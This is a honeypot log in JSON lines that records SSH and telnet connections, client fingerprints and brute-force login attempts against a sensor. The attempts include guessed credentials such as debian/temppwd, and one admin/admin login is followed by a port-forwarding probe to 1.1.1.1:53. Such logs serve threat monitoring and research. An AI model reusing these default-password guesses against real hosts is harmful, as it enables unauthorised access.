{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:14.682545Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22111992","message":"login attempt [user/22111992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:15.181698Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"221090","message":"login attempt [user/221090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:16.291159Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22101980","message":"login attempt [user/22101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:17.403614Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22081988","message":"login attempt [user/22081988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:18.512667Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22071976","message":"login attempt [user/22071976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:19.628482Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:20.737598Z","src_ip":"2.57.121.25","session":"a6f2438494b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37254,"dst_ip":"159.203.135.109","dst_port":23,"session":"52285948861b","protocol":"telnet","message":"New connection: 135.148.33.91:37254 (159.203.135.109:23) [session: 52285948861b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:30:47.333573Z"}
{"eventid":"cowrie.session.closed","duration":34.99277067184448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:31:22.326256Z","src_ip":"135.148.33.91","session":"52285948861b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33308,"dst_ip":"159.203.135.109","dst_port":23,"session":"05548bed2386","protocol":"telnet","message":"New connection: 135.148.33.91:33308 (159.203.135.109:23) [session: 05548bed2386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:31:27.741838Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54918,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e9e2ccc19c5","protocol":"telnet","message":"New connection: 135.148.33.91:54918 (159.203.135.109:23) [session: 9e9e2ccc19c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:32:03.169798Z"}
{"eventid":"cowrie.session.closed","duration":36.36233472824097,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:32:04.104061Z","src_ip":"135.148.33.91","session":"05548bed2386","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85504984855652,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:32:38.024720Z","src_ip":"135.148.33.91","session":"9e9e2ccc19c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57424,"dst_ip":"159.203.135.109","dst_port":23,"session":"62c446f6287b","protocol":"telnet","message":"New connection: 135.148.33.91:57424 (159.203.135.109:23) [session: 62c446f6287b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:00.456559Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.222.17.216","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa3675e12b2","protocol":"telnet","message":"New connection: 45.222.17.216:59226 (10.17.0.5:23) [session: aaa3675e12b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:18.140348Z"}
{"eventid":"cowrie.session.closed","duration":13.020034790039062,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:31.160255Z","src_ip":"45.222.17.216","session":"aaa3675e12b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.818700313568115,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:38.275154Z","src_ip":"135.148.33.91","session":"62c446f6287b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":51684,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b4489f0c52e","protocol":"ssh","message":"New connection: 130.12.181.85:51684 (159.203.135.109:22) [session: 4b4489f0c52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:44.812125Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:44.832595Z","src_ip":"130.12.181.85","session":"4b4489f0c52e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.181.85","src_port":51688,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eeda12b59b9","protocol":"ssh","message":"New connection: 130.12.181.85:51688 (159.203.135.109:22) [session: 5eeda12b59b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:45.037746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:45.043003Z","src_ip":"130.12.181.85","session":"5eeda12b59b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:45.147521Z","src_ip":"130.12.181.85","session":"5eeda12b59b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"temppwd","message":"login attempt [debian/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:45.495641Z","src_ip":"130.12.181.85","session":"5eeda12b59b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:46.602637Z","src_ip":"130.12.181.85","session":"5eeda12b59b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34136,"dst_ip":"159.203.135.109","dst_port":23,"session":"453975abb240","protocol":"telnet","message":"New connection: 135.148.33.91:34136 (159.203.135.109:23) [session: 453975abb240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:53.814711Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35626,"dst_ip":"159.203.135.109","dst_port":23,"session":"4812524598ff","protocol":"telnet","message":"New connection: 135.148.33.91:35626 (159.203.135.109:23) [session: 4812524598ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:33:55.222171Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52064,"dst_ip":"159.203.135.109","dst_port":23,"session":"c612ab8fc2c4","protocol":"telnet","message":"New connection: 135.148.33.91:52064 (159.203.135.109:23) [session: c612ab8fc2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:34:25.005047Z"}
{"eventid":"cowrie.session.closed","duration":34.80598783493042,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:34:28.620597Z","src_ip":"135.148.33.91","session":"453975abb240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48554468154907,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:34:29.707587Z","src_ip":"135.148.33.91","session":"4812524598ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":32810,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7cb54f85418","protocol":"telnet","message":"New connection: 135.148.33.91:32810 (159.203.135.109:23) [session: c7cb54f85418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:34:36.977413Z"}
{"eventid":"cowrie.session.closed","duration":32.38907337188721,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:34:57.394001Z","src_ip":"135.148.33.91","session":"c612ab8fc2c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54778790473938,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:35:12.525069Z","src_ip":"135.148.33.91","session":"c7cb54f85418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":41278,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c016baa4fe7","protocol":"telnet","message":"New connection: 38.49.154.114:41278 (159.203.135.109:23) [session: 6c016baa4fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:35:47.031050Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":41602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71927847a54","protocol":"telnet","message":"New connection: 38.49.154.114:41602 (159.203.135.109:23) [session: e71927847a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:35:49.516693Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":50190,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb48c3b2c34","protocol":"telnet","message":"New connection: 135.148.33.91:50190 (159.203.135.109:23) [session: 0bb48c3b2c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:35:57.125693Z"}
{"eventid":"cowrie.session.closed","duration":35.979490518569946,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:36:33.105079Z","src_ip":"135.148.33.91","session":"0bb48c3b2c34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60112,"dst_ip":"10.17.0.5","dst_port":22,"session":"8367e8d2a9ea","protocol":"ssh","message":"New connection: 87.251.64.176:60112 (10.17.0.5:22) [session: 8367e8d2a9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:39.750299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:39.755588Z","src_ip":"87.251.64.176","session":"8367e8d2a9ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:39.853304Z","src_ip":"87.251.64.176","session":"8367e8d2a9ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:40.146127Z","src_ip":"87.251.64.176","session":"8367e8d2a9ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:40.244412Z","session":"8367e8d2a9ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:40.342183Z","src_ip":"87.251.64.176","session":"8367e8d2a9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:40.442008Z","src_ip":"87.251.64.176","session":"8367e8d2a9ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53422,"dst_ip":"159.203.135.109","dst_port":23,"session":"90b1a6380c19","protocol":"telnet","message":"New connection: 135.148.33.91:53422 (159.203.135.109:23) [session: 90b1a6380c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:41.708718Z"}
{"eventid":"cowrie.session.closed","duration":120.00636458396912,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:47.037303Z","src_ip":"38.49.154.114","session":"6c016baa4fe7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":51406,"dst_ip":"159.203.135.109","dst_port":23,"session":"302afe215708","protocol":"telnet","message":"New connection: 38.49.154.114:51406 (159.203.135.109:23) [session: 302afe215708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:48.374169Z"}
{"eventid":"cowrie.session.closed","duration":120.00182867050171,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:49.518420Z","src_ip":"38.49.154.114","session":"e71927847a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":51710,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf110263b950","protocol":"telnet","message":"New connection: 38.49.154.114:51710 (159.203.135.109:23) [session: cf110263b950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:50.501635Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":51758,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d1d23cc6c4","protocol":"telnet","message":"New connection: 38.49.154.114:51758 (159.203.135.109:23) [session: 95d1d23cc6c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:37:50.833056Z"}
{"eventid":"cowrie.session.closed","duration":35.842766761779785,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:38:17.551399Z","src_ip":"135.148.33.91","session":"90b1a6380c19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35858,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2562b865b6","protocol":"telnet","message":"New connection: 135.148.33.91:35858 (159.203.135.109:23) [session: 6c2562b865b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:38:46.594324Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":45120,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e2a592eabd","protocol":"telnet","message":"New connection: 135.148.33.91:45120 (159.203.135.109:23) [session: 79e2a592eabd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:01.237750Z"}
{"eventid":"cowrie.session.closed","duration":36.63089108467102,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:23.225089Z","src_ip":"135.148.33.91","session":"6c2562b865b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.867573499679565,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:35.105205Z","src_ip":"135.148.33.91","session":"79e2a592eabd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00808024406433,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:48.382123Z","src_ip":"38.49.154.114","session":"302afe215708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":57724,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f655f4b70b","protocol":"telnet","message":"New connection: 38.49.154.114:57724 (159.203.135.109:23) [session: 44f655f4b70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:49.323381Z"}
{"eventid":"cowrie.session.closed","duration":120.00211071968079,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:50.503640Z","src_ip":"38.49.154.114","session":"cf110263b950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00197196006775,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:50.834895Z","src_ip":"38.49.154.114","session":"95d1d23cc6c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":57952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc9ab9f22f2","protocol":"telnet","message":"New connection: 38.49.154.114:57952 (159.203.135.109:23) [session: ddc9ab9f22f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:52.068364Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.49.154.114","src_port":58016,"dst_ip":"159.203.135.109","dst_port":23,"session":"92c25a9a47c8","protocol":"telnet","message":"New connection: 38.49.154.114:58016 (159.203.135.109:23) [session: 92c25a9a47c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:39:53.749673Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57106,"dst_ip":"159.203.135.109","dst_port":23,"session":"6440e1fc8efd","protocol":"telnet","message":"New connection: 135.148.33.91:57106 (159.203.135.109:23) [session: 6440e1fc8efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:40:11.093521Z"}
{"eventid":"cowrie.session.closed","duration":33.88579845428467,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:40:44.979191Z","src_ip":"135.148.33.91","session":"6440e1fc8efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54676,"dst_ip":"159.203.135.109","dst_port":23,"session":"11b683b5a59a","protocol":"telnet","message":"New connection: 135.148.33.91:54676 (159.203.135.109:23) [session: 11b683b5a59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:40:54.460529Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37428,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62c173742ad","protocol":"telnet","message":"New connection: 135.148.33.91:37428 (159.203.135.109:23) [session: c62c173742ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:14.492998Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":49652,"dst_ip":"159.203.135.109","dst_port":22,"session":"44447a399f0d","protocol":"ssh","message":"New connection: 119.28.9.170:49652 (159.203.135.109:22) [session: 44447a399f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:20.313692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T18:41:20.323525Z","src_ip":"119.28.9.170","session":"44447a399f0d","protocol":"ssh"}
